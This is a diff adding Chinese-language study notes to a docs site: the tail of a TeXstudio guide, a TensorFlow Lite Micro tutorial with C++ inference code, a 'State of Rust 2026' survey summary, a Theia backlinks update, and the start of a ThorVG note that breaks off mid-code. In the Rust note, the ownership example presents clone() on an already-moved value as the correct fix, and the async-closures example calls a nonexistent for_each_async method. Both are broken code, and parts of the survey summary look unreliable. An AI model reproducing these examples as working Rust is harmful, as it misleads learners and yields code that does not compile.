+|------|------|------------------------|
+| 第 1 周 | 单文件 article | Quick Start、`\section`、公式、F6/F7 |
+| 第 2 周 | 图表与引用 | `\includegraphics` 向导、`\ref`、`\cite` 补全 |
+| 第 3 周 | 多文件 + 文献 | Master document、biber 构建链 |
+| 第 4 周 | 模板与效率 | 自定义宏、魔法注释、latexmk |
+
+LaTeX **排版语言本身** 仍需系统学习（推荐《lshort》简明教程）；TeXstudio 降低的是 **工具链摩擦**，不是替代 LaTeX 语法。
+
+---
+
+## 小结
+
+TeXstudio 把 LaTeX 写作包装成 **可编译、可预览、可导航** 的 IDE 体验：**结构与补全** 帮你写对命令，**构建系统** 帮你跑对编译链，**SyncTeX** 帮你对齐源码与 PDF。记住它是 **编辑器**，真正的排版引擎在你安装的 TeX Live / MiKTeX 里；两者装好，按 **向导 → 保存 → F6 → F7** 走通第一篇 PDF，就算零基础入门成功。
+
+---
+
+## 参考链接
+
+- 项目仓库：[https://github.com/texstudio-org/texstudio](https://github.com/texstudio-org/texstudio)
+- 官网与下载：[https://www.texstudio.org/](https://www.texstudio.org/)
+- 官方手册：[https://texstudio-org.github.io/](https://texstudio-org.github.io/)
+- Getting started：[https://texstudio-org.github.io/getting_started.html](https://texstudio-org.github.io/getting_started.html)
+- Wiki Tips：[https://github.com/texstudio-org/texstudio/wiki/Tips-And-Tricks](https://github.com/texstudio-org/texstudio/wiki/Tips-And-Tricks)
+- LaTeX 项目：[https://www.latex-project.org/](https://www.latex-project.org/)
diff --git a/src/content/docs/projects/tflite-micro.md b/src/content/docs/projects/tflite-micro.md
new file mode 100644
index 000000000..cf1837363
--- /dev/null
+++ b/src/content/docs/projects/tflite-micro.md
@@ -0,0 +1,282 @@
+---
+title: TensorFlow Lite Micro — 把神经网络塞进几 KB RAM 的「袖珍推理引擎」
+来源: 'https://github.com/tensorflow/tflite-micro'
+日期: '2026-06-13'
+子分类: 嵌入式
+分类: 操作系统
+难度: '中级'
+provenance: 'pipeline-v3'
+---
+
+## 是什么
+
+**TensorFlow Lite Micro**（简称 **TFLM**，社区与文档中也逐渐改称 **LiteRT for Microcontrollers**）是 Google 为**微控制器、DSP 和极度受限嵌入式设备**维护的机器学习推理运行时。源码托管在 [tensorflow/tflite-micro](https://github.com/tensorflow/tflite-micro)，从 TensorFlow 主仓独立出来，专门服务「没有操作系统、没有 `malloc`、Flash 只有几百 KB」的场景。
+
+日常类比：**手机 App vs 手表上的表盘程序**。
+
+你在手机上跑 [[tensorflow]] 训练的完整模型，就像装一个功能齐全的 App——后台服务、动态内存、网络随时拉数据都行。但一块 STM32 或 ESP32 芯片更像智能手表表盘：屏幕小、电池小、程序必须在出厂时就占好固定内存，运行时不能突然向系统要一大块堆内存。TFLM 就是给这类设备准备的「表盘级推理引擎」：只负责**按固定剧本执行已经训练好的模型**，不负责训练、不负责联网更新权重，把体积和 RAM 压到能塞进手表芯片里。
+
+和桌面/手机上的 TensorFlow Lite（LiteRT）相比，TFLM 砍掉了更多东西：无动态内存分配、无完整 C++ 标准库依赖、算子集合是子集、API 是底层 C++。若你的设备跑 Linux（如树莓派），通常用标准 LiteRT 更省事；若目标是 Cortex-M、ESP32、RISC-V MCU，TFLM 才是正选。
+
+## 解决什么问题
+
+| 痛点 | 云端 / 手机推理 | TFLM 的回应 |
+| --- | --- | --- |
+| RAM 极小 | 运行时 + 张量常需 MB 级 | 核心运行时约 **16 KB**（Arm Cortex-M3 上测过），张量区预分配 |
+| 无操作系统 | 依赖 POSIX、`malloc`、线程 | **无 OS 即可运行**，不强制标准库 |
+| 功耗与延迟 | 推理需联网或唤醒大核 | **本地推理**，数据不出设备，适合隐私与实时控制 |
+| 模型体积 | 浮点模型动辄 MB | 支持 **int8 全量化**，模型可嵌进 Flash 只读区 |
+| 硬件碎片化 | 一套二进制难覆盖所有 MCU | 可移植内核 + **CMSIS-NN / Ethos-U / ESP-NN** 等加速后端 |
+
+典型落地场景：关键词唤醒（`micro_speech`）、简单视觉（`person_detection`）、传感器异常检测、家电自适应、工业边缘「这是不是故障」分类——都是**毫秒级、常开、不能依赖 Wi-Fi** 的任务。
+
+## 核心概念
+
+### 1. 推理-only：训练在 PC，设备只「放映胶片」
+
+TFLM **不支持设备端训练**。工作流永远是：
+
+```
+Python 训练 → 导出 TFLite FlatBuffer → 转成 C 数组或烧进 Flash → C++ 解释器 Invoke()
+```
+
+设备上的程序不理解「反向传播」，只理解一张静态计算图。类比：电影院只放拷贝好的胶片，不会在放映厅里现拍电影。
+
+### 2. FlatBuffer 模型 + `GetModel()`
+
+模型文件是 **TensorFlow Lite FlatBuffer** 格式（`.tflite`）。嵌入式部署时，常用 `xxd` 或构建脚本把二进制转成 `unsigned char g_model[]`，链接进固件。运行时通过 `tflite::GetModel(g_model)` 解析，并检查 `TFLITE_SCHEMA_VERSION` 是否与当前库兼容。
+
+### 3. `MicroInterpreter`：解释器三件套
+
+推理的核心对象是 `tflite::MicroInterpreter`，创建时需要四样东西：
+
+| 组件 | 作用 |
+| --- | --- |
+| `Model*` | 编译进固件的 FlatBuffer |
+| `MicroMutableOpResolver` | 注册本模型用到的算子（如 `FullyConnected`、`Conv2D`） |
+| `tensor_arena` | **预分配**的一块 `uint8_t` 内存，供所有中间张量复用 |
+| `ErrorReporter` | 日志输出（可对接 UART、`printf` 等） |
+
+**没有 `malloc`**：`AllocateTensors()` 只在 `tensor_arena` 里划分子缓冲区。arena 不够大会分配失败，需靠实验或工具测大小。
+
+### 4. `MicroMutableOpResolver`：按需注册算子
+
+全量算子表会撑大 Flash。TFLM 要求你声明模型实际用到的 op 数量，例如 Hello World 只需 1 个 `FullyConnected`：
+
+```cpp
+using HelloWorldOpResolver = tflite::MicroMutableOpResolver<1>;
+TF_LITE_ENSURE_STATUS(op_resolver.AddFullyConnected());
+```
+
+只链接需要的内核，是体积优化的关键之一。
+
+### 5. 张量读写：`input(0)` / `output(0)` / `Invoke()`
+
+- `interpreter.input(0)` 返回 `TfLiteTensor*`，按 `type` 访问 `data.f`（float）或 `data.int8` 等
+- `interpreter.Invoke()` 执行一整轮前向推理
+- `interpreter.output(0)` 读结果
+
+输入输出 shape 在转换模型时已固定；嵌入式代码里常写断言检查 `dims` 和 `kTfLiteFloat32` / `kTfLiteInt8`。
+
+### 6. 量化：float 训练，int8 上板
+
+MCU 上 float 推理慢且耗能。官方 Hello World 提供 **PTQ（训练后量化）** 路径：浮点 SavedModel → `ptq.py` → `hello_world_int8.tflite`。量化后权重与部分激活用 int8，算子走 CMSIS-NN / ESP-NN 等整数内核，速度可差 **数十倍**（ESP32 上 person_detection 有公开对比：无优化 ~4s vs ESP-NN ~380ms 量级）。
+
+### 7. 平台与加速栈
+
+| 层级 | 说明 |
+| --- | --- |
+| 参考内核 | `tensorflow/lite/micro/kernels/` 纯 C/C++，跨平台兼容 |
+| CMSIS-NN | Arm Cortex-M 优化，与 Keil / CMSIS-Pack 生态集成 |
+| Ethos-U | Arm 微 NPU（U55/U65）硬件加速 |
+| ESP-NN | Espressif 芯片专用，ESP-IDF 组件 `esp-tflite-micro` 默认集成 |
+| 社区移植 | Arduino、SparkFun Edge、TI、Silicon Labs、Renesas 等见官方 README |
+
+构建常用 `tensorflow/lite/micro/tools/make/Makefile`，`TARGET=cortex_m_generic` 等参数交叉编译；也可用 Bazel、Mbed、Arduino 库。
+
+## 端到端工作流（Hello World）
+
+官方 **Hello World** 用神经网络拟合 `sin(x)`：输入一个标量，输出 sin 值；上板后可驱动 LED 闪烁或动画。完整链路：
+
+1. **训练**（Python / Bazel）：`train.py` 生成 TF 与 float TFLite
+2. **（可选）量化**：`ptq.py` 生成 int8 模型
+3. **嵌入固件**：模型 → `model.cc` 字节数组
+4. **C++ 测试**：`hello_world_test.cc` 加载模型、循环 Invoke、断言输出接近 `sin(x)`
+
+支持设备包括 Arduino Nano 33 BLE、ESP32-DevKitC、STM32F746、SparkFun Edge 等（详见 Google AI Edge 文档）。
+
+## 代码示例一：Python 训练与导出
+
+在主机上用 Bazel 构建并训练 Hello World 模型（来自官方 README）：
+
+```bash
+# 构建训练脚本
+bazel build tensorflow/lite/micro/examples/hello_world:train
+
+# 训练并保存 TF + float TFLite 到指定目录
+bazel-bin/tensorflow/lite/micro/examples/hello_world/train \
+  --save_tf_model \
+  --save_dir=/tmp/model_created/
+```
+
+若需要 **int8 全量化模型**（更适合 MCU）：
+
+```bash
+bazel build tensorflow/lite/micro/examples/hello_world/quantization:ptq
+
+bazel-bin/tensorflow/lite/micro/examples/hello_world/quantization/ptq \
+  --source_model_dir=/tmp/model_created \
+  --target_dir=/tmp/quant_model/
+```
+
+输出 `hello_world_int8.tflite` 后，用项目自带脚本或 `xxd -i` 转成 C 数组，替换示例里的 `g_model`。
+
+等价的 Keras 思路（理解用，非仓库内脚本）：
+
+```python
+import numpy as np
+import tensorflow as tf
+
+# 用 sin 数据训练一个极小全连接网络
+x = np.linspace(0, 2 * np.pi, 1000).astype(np.float32)
+y = np.sin(x).astype(np.float32)
+
+model = tf.keras.Sequential([
+    tf.keras.layers.Input(shape=(1,)),
+    tf.keras.layers.Dense(8, activation="relu"),
+    tf.keras.layers.Dense(1),
+])
+model.compile(optimizer="adam", loss="mse")
+model.fit(x, y, epochs=200, verbose=0)
+
+# 导出 SavedModel，再用 TFLite Converter 得到 .tflite
+tf.saved_model.save(model, "/tmp/sin_saved")
+converter = tf.lite.TFLiteConverter.from_saved_model("/tmp/sin_saved")
+tflite_model = converter.convert()
+open("/tmp/hello_world.tflite", "wb").write(tflite_model)
+```
+
+## 代码示例二：C++ 设备端推理
+
+下列代码浓缩自官方 `evaluate_test.cc` / Hello World 测试，展示**最小推理闭环**：
+
+```cpp
+#include "tensorflow/lite/micro/micro_error_reporter.h"
+#include "tensorflow/lite/micro/micro_interpreter.h"
+#include "tensorflow/lite/micro/micro_mutable_op_resolver.h"
+#include "tensorflow/lite/schema/schema_generated.h"
+#include "tensorflow/lite/version.h"
+#include "tensorflow/lite/micro/examples/hello_world/model.h"
+
+void RunHelloWorldInference() {
+  tflite::MicroErrorReporter micro_error_reporter;
+  tflite::ErrorReporter* error_reporter = &micro_error_reporter;
+
+  // 1. 加载嵌在 Flash 里的模型
+  const tflite::Model* model = tflite::GetModel(g_model);
+  if (model->version() != TFLITE_SCHEMA_VERSION) {
+    TF_LITE_REPORT_ERROR(error_reporter, "Schema version mismatch\n");
+    return;
+  }
+
+  // 2. 只注册模型用到的算子
+  static tflite::MicroMutableOpResolver<1> resolver;
+  if (resolver.AddFullyConnected() != kTfLiteOk) {
+    return;
+  }
+
+  // 3. 预分配 tensor arena（大小需按模型调试）
+  constexpr int kTensorArenaSize = 2 * 1024;
+  uint8_t tensor_arena[kTensorArenaSize];
+
+  // 4. 创建解释器并分配张量
+  tflite::MicroInterpreter interpreter(
+      model, resolver, tensor_arena, kTensorArenaSize, error_reporter);
+  if (interpreter.AllocateTensors() != kTfLiteOk) {
+    TF_LITE_REPORT_ERROR(error_reporter, "AllocateTensors failed\n");
+    return;
+  }
+
+  // 5. 写入输入 → Invoke → 读输出
+  TfLiteTensor* input = interpreter.input(0);
+  TfLiteTensor* output = interpreter.output(0);
+
+  input->data.f[0] = 0.0f;
+  if (interpreter.Invoke() != kTfLiteOk) {
+    TF_LITE_REPORT_ERROR(error_reporter, "Invoke failed\n");
+    return;
+  }
+  float y0 = output->data.f[0];  // 期望接近 sin(0) = 0
+
+  input->data.f[0] = 1.0f;
+  interpreter.Invoke();
+  float y1 = output->data.f[0];  // 期望接近 sin(1) ≈ 0.841
+
+  TF_LITE_REPORT_ERROR(error_reporter, "sin(0)=%f sin(1)=%f\n", y0, y1);
+}
+```
+
+要点回顾：`tensor_arena` 太小会 silent fail 或 `AllocateTensors` 失败；`Invoke()` 前后 input/output 指针有效；量化模型需改访问 `output->data.int8` 并配合 scale/zero_point。
+
+## 代码示例三：Makefile 交叉编译（补充）
+
+在克隆的 `tflite-micro` 仓库根目录，可用 Make 跑主机单元测试或指定 MCU：
+
+```bash
+# 主机上跑 Hello World 单元测试
+make -f tensorflow/lite/micro/tools/make/Makefile test_hello_world_test
+
+# 交叉编译示例：通用 Cortex-M0 Hello World
+make -f tensorflow/lite/micro/tools/make/Makefile \
+  TARGET=cortex_m_generic \
+  TARGET_ARCH=cortex-m0 \
+  TARGET_CFLAGS=-mcpu=cortex-m0 \
+  build
+```
+
+ESP32 用户更常走 **ESP-IDF**：
+
+```bash
+idf.py add-dependency "esp-tflite-micro"
+idf.py set-target esp32s3
+idf.py build
+```
+
+组件内带 `hello_world`、`micro_speech`、`person_detection` 示例，并默认链入 **ESP-NN** 优化。
+
+## 与 TensorFlow / LiteRT 生态的关系
+
+```
+TensorFlow (训练, Keras)  →  TFLite Converter  →  .tflite (FlatBuffer)
+                                                      ↓
+                    ┌─────────────────────────────────┴────────────────────────┐
+                    │  LiteRT (手机/嵌入式 Linux)   │  TFLM (MCU, 无 OS)      │
+                    │  动态内存、更多算子、Java API   │  静态 arena、C++17、子集  │
+                    └──────────────────────────────────────────────────────────┘
+```
+
+Google 近年将面向边缘的产品线统一为 **LiteRT** 品牌，文档 URL 已迁至 `developers.google.com/edge/litert/microcontrollers/`；GitHub 仓库名仍为 `tflite-micro`，社区习惯仍称 TFLM。与 [[tensorflow]] 笔记中的「一次训练、多平台部署」叙事一致：TFLM 是这条链路的**最末端、最瘦**的一环。
+
+## 限制与选型清单
+
+官方明确列出的约束（选型前必读）：
+
+- **仅推理**，无设备端训练
+- **算子子集**：转换前需查 [Micro 算子支持列表](https://www.tensorflow.org/lite/microcontrollers/op_resolver)，自定义层可能要改模型结构
+- **手动内存管理**：arena 大小、resolver 模板参数都要自己调
+- **C++17 + 32 位平台**为主，已在 Cortex-M、ESP32、RISC-V 等验证
+- 需要 **Ethos-U / CMSIS-NN** 时，构建 flag 与链接库要按平台文档打开
+
+若设备有 **>1MB RAM、跑 Linux**：优先考虑标准 LiteRT + Python/C API，开发体验好很多。
+
+## 学习路径建议
+
+1. **读 Hello World**：`tensorflow/lite/micro/examples/hello_world/`，先跑主机 `bazel test`，再选一块手头开发板上板
+2. **跟官方 Get Started**： [LiteRT for Microcontrollers - Get started](https://developers.google.com/edge/litert/microcontrollers/get_started)
+3. **换一个真实示例**：语音 `micro_speech` 或视觉 `person_detection`，理解 int8 输入与更大 arena
+4. **读 C++ 库结构**：`micro_interpreter.h`、`micro/docs/` 下的 new platform、memory management
+5. **量化专题**：Hello World 的 `quantization/ptq.py`，对照 int8 与 float 延迟差异
+
+## 小结
+
+TensorFlow Lite Micro 不是「缩小版的 TensorFlow」，而是**为 MCU 约束重新设计的推理运行时**：静态内存、可裁剪算子表、FlatBuffer 模型嵌进 Flash、配合 CMSIS-NN / ESP-NN 在硅片上榨性能。零基础入门抓住一条线即可——**PC 上训练 sin 模型 → 转成 `.tflite` → C 数组进固件 → `MicroInterpreter` 三轮 `Invoke()`**——其余平台移植、量化、NPU 加速都是在这条主线上的加厚垫层。
diff --git a/src/content/docs/projects/the-state-of-rust-2026.md b/src/content/docs/projects/the-state-of-rust-2026.md
new file mode 100644
index 000000000..4c4459011
--- /dev/null
+++ b/src/content/docs/projects/the-state-of-rust-2026.md
@@ -0,0 +1,250 @@
+---
+title: The State of Rust 2026 — 零基础学习笔记
+来源: https://blog.rust-lang.org/2026/03/02/2025-State-Of-Rust-Survey-results/
+日期: 2026-06-13
+分类: 编程语言
+子分类: 类型与 PL 理论
+provenance: pipeline-v3
+---
+
+# The State of Rust 2026 — 零基础学习笔记
+
+## 一句话介绍
+
+Rust 基金会每年做一次"全球 Rust 开发者大普查"，收集开发者的使用习惯、学习方式和痛点。2026 年 3 月发布的这份报告，覆盖的是 2025 年 11 月到 12 月的调查，共有 **7156 人**完成，是历史上第 10 次调查。
+
+---
+
+## 核心概念 1：你用的 Rust 版本是什么？
+
+### 日常类比
+
+想象你开一家面包店。编译器就是烤箱。
+
+- **stable（稳定版）** = 标准烤箱，每天都能买，不会突然换样子
+- **beta（测试版）** = 新上市的烤箱，功能多但可能有小问题
+- **nightly（每晚版）** = 实验室烤箱，每天都有新功能，但可能炸厨房
+
+### 调查结果
+
+大部分 Rust 开发者坚持使用 **stable 稳定版**。很少人用 nightly。
+
+> 这说明 Rust 的"稳定承诺"成功了——开发者不需要为了日常工作去冒险用 unstable 的版本。
+
+去年 Stabilized（从 nightly 搬到 stable）的两个大功能特别受欢迎：
+
+1. **let chains** — 可以在 if 语句里同时判断多个条件
+2. **async closures** — 异步闭包，让异步回调更简洁
+
+### 代码示例：let chains
+
+**没有 let chains 之前：**
+
+```rust
+// 旧写法：需要额外嵌套 if，缩进越来越深
+fn handle_user(name: Option<&str>, age: Option<u32>) {
+    if let Some(n) = name {
+        if let Some(a) = age {
+            println!("用户 {} 今年 {} 岁", n, a);
+        }
+    }
+}
+```
+
+**有了 let chains 之后：**
+
+```rust
+// 新写法：把条件都放在同一行，清晰多了
+fn handle_user(name: Option<&str>, age: Option<u32>) {
+    if let Some(n) = name && let Some(a) = age {
+        println!("用户 {} 今年 {} 岁", n, a);
+    }
+}
+```
+
+### 代码示例：async closures
+
+**没有 async closures 之前：**
+
+```rust
+// 旧写法：async closure 不支持，只能用循环
+async fn process_items(items: Vec<String>) {
+    for item in &items {
+        let result = do_something(item).await;
+        println!("处理了: {}", result);
+    }
+}
+
+fn do_something(s: &str) -> impl std::future::Future<Output = String> + '_ {
+    async move { format!("done: {}", s) }
+}
+```
+
+**有了 async closures 之后：**
+
+```rust
+// 新写法：直接在 for_each 里写异步操作
+async fn process_items(items: Vec<String>) {
+    items.into_iter().for_each_async(|item| async {
+        let result = do_something(item).await;
+        println!("处理了: {}", result);
+    });
+}
+```
+
+---
+
+## 核心概念 2：人们最想要什么新功能？
+
+### 日常类比
+
+还是面包店。烤箱已经很好用了，但开发者们还在提需求：
+
+- "如果能一边烤面包一边算温度就好了" → **generic const expressions**（泛型常量表达式）
+- "如果函数的返回值能更灵活地指定类型就好了" → **improved trait methods**（改进的 trait 方法）
+
+### 最想要的功能排名
+
+1. **Generic const expressions** — 泛型常量表达式，允许在泛型代码中使用常量
+2. **Improved trait methods** — 更灵活的 trait 方法定义
+3. **Other macros** — 其他宏功能
+4. **Better pattern matching** — 更好的模式匹配
+5. **Let chains** — 这个**已经实现了**，但还在需求榜上（因为大家还在熟悉它）
+
+---
+
+## 核心概念 3：Rust 开发者的痛点是什么？
+
+### 日常类比
+
+你学做面包，遇到的最大困难是什么？
+
+调查结果（按困扰程度排序）：
+
+1. **编译慢** — 每次改代码都要等很久才能看到结果
+2. **存储占用大** — Rust 的依赖和构建产物占磁盘空间
+3. **学习曲线陡** — 新概念多，尤其是所有权（ownership）系统
+4. **调试体验** — 出错了不太好查
+
+> 注意：调试体验从去年的第 2 名掉到了第 4 名。不是变好了，而是前两项（编译速度和存储空间）更让人头疼了。
+
+### 代码示例：Rust 的所有权概念
+
+Rust 最著名的特性是"所有权（ownership）"。让我用一个最简单的例子来解释：
+
+```rust
+// 类比：一本书只能有一个主人
+fn main() {
+    let book1 = String::from("Rust 编程之道");
+
+    // book1 是这本书的主人
+    let book2 = book1; // 主人变了！book2 现在是主人
+
+    // 下面这行会报错！因为 book1 已经不是主了
+    // println!("{}", book1); // Error: borrow of moved value
+
+    // 正确做法：用 clone 复印一本
+    let book1_copy = book1.clone();
+    println!("{} 和 {}", book2, book1_copy);
+}
+```
+
+这就是为什么 Rust 初学者觉得"难"——你需要时刻想"这本书现在归谁管"。但一旦理解了这个规则，很多 Bug 在编译阶段就被抓住了，不用等到运行的时候才崩溃。
+
+---
+
+## 核心概念 4：人们怎么学习 Rust？
+
+### 日常类比
+
+你想学一门新语言，你会去哪找资料？
+
+调查结果：
+
+1. **官方文档** — 最受欢迎，像字典一样可靠
+2. **阅读别人的代码** — 看实际项目怎么写
+3. **在线社区 / Meetup** — 比去年下降了约 3 个百分点
+4. **LLM 工具**（ChatGPT 等）— 正在快速上升！
+
+> 一个有趣的现象：越来越多的人遇到问题先问 AI，而不是去社区发帖。
+
+### 编辑器趋势
+
+- **Zed** 编辑器排名大幅上升
+- **Helix** 也不错
+- **VSCode** 和 **IntelliJ** 的用户在被 AI 编辑器蚕食
+- 还有 **11 个人**在用 Atom（致敬！）
+- **Emacs** 和 **Vim** 用户依然坚挺
+
+---
+
+## 核心概念 5：行业在怎么看待 Rust？
+
+### 调查结果
+
+- **越来越多公司在招聘 Rust 开发者** — 这趋势是持续的、结构性的
+- Rust 在公司里的代码量在稳步增长
+- 人们对 **Rust Foundation（基金会）** 的信任度在提升
+
+### 开发者的担忧
+
+1. **语言变得越来越复杂** — 功能越来越多，新手更难入门
+2. **维护者支持不足** — 很多核心贡献者是 unpaid（ unpaid = 没有报酬的志愿者）
+
+> 报告里特别提醒使用 Rust 的公司：你们应该支持 Rust 项目的贡献者！可以通过加入 Rust Foundation、让员工花一些工作时间贡献代码、或者通过 GitHub Sponsor 等方式。
+
+---
+
+## 核心概念 6：从社区多样性看 Rust
+
+调查还统计了开发者中的"弱势群体"比例：
+
+| 群体 | 比例 |
+|------|------|
+| LGBTQ+ | 10.59% |
+| 神经多样性（如 ADHD、自闭谱系） | 9.94% |
+| 跨性别 | 7.72% |
+| 女性 | 6.43% |
+| 非二元性别 | 4.11% |
+| 残障人士 | 3.07% |
+
+> Rust 社区在这些数字上比很多技术社区做得更好，但仍然偏低。社区一直在努力成为一个对所有人都友好的开源社区。
+
+---
+
+## 关键数据速查
+
+| 指标 | 数值 |
+|------|------|
+| 调查次数 | 第 10 次（2016 年起每年一次） |
+| 完成人数 | 7,156 |
+| 开始人数 | 9,389 |
+| 完成率 | 76.2% |
+| 页面浏览量 | 20,397 |
+| 调查时间 | 2025.11.17 - 2025.12.17 |
+| 官方语言 | 英语、简体中文、繁体中文等 10 种 |
+
+---
+
+## 学习建议
+
+基于这份调查报告，给初学者的建议：
+
+1. **从 stable 版本开始** — 不需要追 nightly
+2. **先看官方文档** — 这是最权威的参考资料
+3. **读别人的代码** — 在 GitHub 上看真实项目
+4. **接受编译慢的现实** — 可以用 `cargo check` 快速检查不运行
+5. **善用 AI 工具** — 但它不能替代文档
+6. **加入社区** — 即使线上参与度在下降，社区仍然是最好的学习资源
+
+---
+
+## 延伸阅读
+
+- 完整 PDF 报告：<https://raw.githubusercontent.com/rust-lang/surveys/main/surveys/2025/annual-survey/report/annual-survey-2025-report.pdf>
+- 2024 年调查：<https://blog.rust-lang.org/2025/02/13/2024-State-Of-Rust-Survey-results/>
+- Rust 官方文档：<https://doc.rust-lang.org>
+
+---
+
+*本文是基于 Rust Blog 2026 年 3 月发布的《2025 State of Rust Survey Results》编写的学习笔记。数据来源于 7,156 名 Rust 开发者的回答。*
diff --git a/src/content/docs/projects/theia.md b/src/content/docs/projects/theia.md
index 0f415ab35..14d5e0718 100644
--- a/src/content/docs/projects/theia.md
+++ b/src/content/docs/projects/theia.md
@@ -176,5 +176,11 @@ ls dist/
 
 <!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
 
-（暂无反向链接）
+- [[code-server]] —— code-server — 在浏览器里跑完整 VS Code
+- [[codemirror]] —— CodeMirror — 编辑器不是一个类，是一组扩展的合奏
+- [[eclipse-che]] —— Eclipse Che — Kubernetes 原生云 IDE
+- [[electron]] —— Electron — Chromium + Node.js 跨平台桌面应用框架
+- [[monaco-editor]] —— monaco-editor — 把 VSCode 编辑器搬进浏览器的 SDK
+- [[openvscode-server]] —— OpenVSCode Server — VS Code Server 上游
+- [[vscode]] —— VS Code — 把编辑/调试/扩展捏成一个跨平台壳
 
diff --git a/src/content/docs/projects/thorvg.md b/src/content/docs/projects/thorvg.md
new file mode 100644
index 000000000..812de79c5
--- /dev/null
+++ b/src/content/docs/projects/thorvg.md
@@ -0,0 +1,258 @@
+---
+title: ThorVG — 轻量矢量图形引擎
+来源: https://github.com/thorvg/thorvg
+日期: 2026-06-13
+子分类: 渲染与图形
+分类: 图形学
+provenance: pipeline-v3
+难度: 初级
+---
+
+## 日常类比：ThorVG 是「矢量皮影的放映机」
+
+设计师在 After Effects 或 Figma 里画的是**可无限放大的线稿**（路径、渐变、描边），不是一张固定像素的 JPG。要把这些矢量场景画到屏幕、手表或车载 HUD 上，需要一台**放映机**：读入 SVG / Lottie JSON，在内存缓冲区里光栅化成像素。
+
+**ThorVG**（Thor Vector Graphics，[thorvg/thorvg](https://github.com/thorvg/thorvg)）就是这样一台**超轻量放映机**：核心库约 150KB 量级，C++ 实现，主打 CPU/SIMD 矢量光栅化，也支持 OpenGL ES、WebGL、WebGPU 等后端。它已被 Tizen、Godot、LVGL、LottieFiles、Espressif、Canva iOS 等产线采用——同一套 API 从 ESP32 微控制器到桌面工具都能跑。
+
+和 [lottie-web](lottie.md)（浏览器里解析 Lottie JSON 的 JS 播放器）不同，ThorVG 是**底层图形引擎**：你不一定直接面对终端用户，而是把它嵌进 UI 框架、游戏引擎或固件里，负责「把矢量场景画进 buffer」。
+
+## 是什么
+
+ThorVG 是生产级 **C++ 矢量图形引擎**，支持：
+
+- **图元**：矩形、圆、路径、渐变填充、描边（虚线/圆角端）、文本（TTF/OTF）、图片
+- **场景图**：`Scene` 组合多个 `Paint` 节点，统一做平移/旋转/缩放
+- **格式加载**：SVG Tiny、Lottie JSON、PNG/JPG/WebP 等（通过 Meson 选项裁剪 loader）
+- **特效**：模糊、阴影、混合、遮罩等合成（可能走离屏 buffer）
+- **动画**：`Animation` 控制 Lottie 帧进度；SVG 动画暂不支持
+
+典型数据流：应用持有像素 buffer → 创建 `SwCanvas` 并 `target()` 绑定 buffer → 往 canvas `add()` 各种 Shape/Picture → `update()` 预处理 → `draw()` + `sync()` 异步光栅化 → 把 buffer 交给显示栈（SDL、LVGL、自研 UI 等）。
+
+```mermaid
+flowchart LR
+  APP[你的应用 / UI 框架]
+  TVG[ThorVG 引擎]
+  BUF[像素 Buffer]
+  DISP[屏幕 / 纹理上传]
+  APP -->|Paint 场景图| TVG
+  TVG -->|draw + sync| BUF
+  BUF --> DISP
+  LOTTIE[Lottie / SVG 文件] --> TVG
+```
+
+## 为什么重要
+
+不懂 ThorVG，这几件事很难选型或排障：
+
+- **嵌入式 UI 要 Lottie 启动页**，但不想塞整个 Chromium + lottie-web——ThorVG 可 `-Dloaders="lottie"` 裁成专用播放库
+- **同一套矢量资源**要跑在 Web（WebGPU）、手机（Metal/Vulkan 抽象）和 RTOS——ThorVG 用 Meson 模块化二进制，按平台选后端
+- **CPU 光栅化场景**（无 GPU、或 GPU 要给 3D 让路）——官方基准称在常见矢量 workload 上相对 Skia 约有 ~1.8× 优势（几何密集时更明显）
+- **与 Lottie 生态的关系**：Lottie 是 JSON **协议**；ThorVG 是实现之一，表达式默认走内嵌 JerryScript，可 `-Dextra=""` 关掉以减小固件体积
+
+## 核心概念
+
+### 1. 初始化与线程池
+
+`Initializer::init(n)` 启动引擎与可选的 **Task Scheduler**（`n` 为工作线程数，可用 `std::thread::hardware_concurrency()`）。内部异步处理编解码、update、draw；因此 **`draw()` 之后必须 `sync()`** 才能安全读 buffer。用完调用 `Initializer::term()` 释放全局字体等资源。
+
+### 2. Canvas 与 Paint 模型
+
+- **Canvas**：渲染目标，软件路径下常用 `SwCanvas::gen()` + `target(buffer, stride, w, h, ColorSpace)`
+- **Paint**：基类概念；具体类型有 `Shape`（矢量路径）、`Scene`（子节点容器）、`Picture`（SVG/位图/Lottie 载体）、`Text`
+- 一帧流程：`add()` →（动画时 `update(picture)`）→ `draw()` → `sync()` → `remove()` 清空节点
+
+### 3. Shape：路径与样式
+
+`Shape::appendRect` / `appendCircle` 是便捷 API；复杂图形用 `moveTo` / `lineTo` / `cubicTo` / `close()` 拼路径。填充可以是纯色或 `LinearGradient` / `RadialGradient`；描边独立设置 `strokeWidth`、`strokeCap`、`strokeJoin`、`strokeDash`。
+
+### 4. Picture 与 Loader
+
+`Picture::load("file.svg")` 走 SVG 解释器（偏 SVG Tiny，无 SMIL 动画）。Lottie 则通过 `Animation::gen()` 拿到关联的 `picture()` 再 `load("anim.json")`。Loader 在编译期用 Meson `-Dloaders=...` 开关，避免未用格式增大二进制。
+
+### 5. 渲染后端与智能局部重绘
+
+除 CPU/SIMD 软件渲染器外，可选 OpenGL ES、WebGL、**WebGPU**（Web 端较完整）。**Partial rendering** 只重绘变化区域——适合 UI 静态背景 + 小控件动画；全屏每帧全变的游戏场景则收益有限。
+
+### 6. 绑定与生态
+
+主 API 为 C++；可选 **C API**（`-Dbindings="capi"`）。另有 `@thorvg/webcanvas`、`thorvg-python`、Rust crate 等。工具链含 Viewer、VS Code LiveView、Lottie→GIF、SVG→PNG。
+
+## 构建安装
+
+依赖 [Meson](https://mesonbuild.com/) + Ninja：
+
+```bash
+git clone https://github.com/thorvg/thorvg.git
+cd thorvg
+meson setup builddir
+ninja -C builddir install
+```
+
+只要 Lottie 播放器的精简构建：
+
+```bash
+meson setup builddir -Dloaders="lottie"
+# 固件上可关闭 Lottie 表达式以减小体积：
+meson setup builddir -Dloaders="lottie" -Dextra=""
+```
+
+macOS / Linux 也可通过 Homebrew、vcpkg、系统包管理器安装。Web 侧可关注 npm 包 `@thorvg/lottie-player`、`@thorvg/webcanvas`。
+
+## 实践案例
+
+### 案例 1：软件 Canvas 上画圆角矩形与渐变圆
+
+以下片段来自[官方 Native Tutorial](https://www.thorvg.org/native-tutorial)，展示最小绘制闭环：
+
+```cpp
+#include <thorvg.h>
+
+static const int WIDTH = 800, HEIGHT = 600;
+static uint32_t buffer[WIDTH * HEIGHT];
+
+int main() {
+    tvg::Initializer::init(4);
+
+    auto canvas = tvg::SwCanvas::gen();
+    canvas->target(buffer, WIDTH, WIDTH, HEIGHT, tvg::ColorSpace::ARGB8888);
+
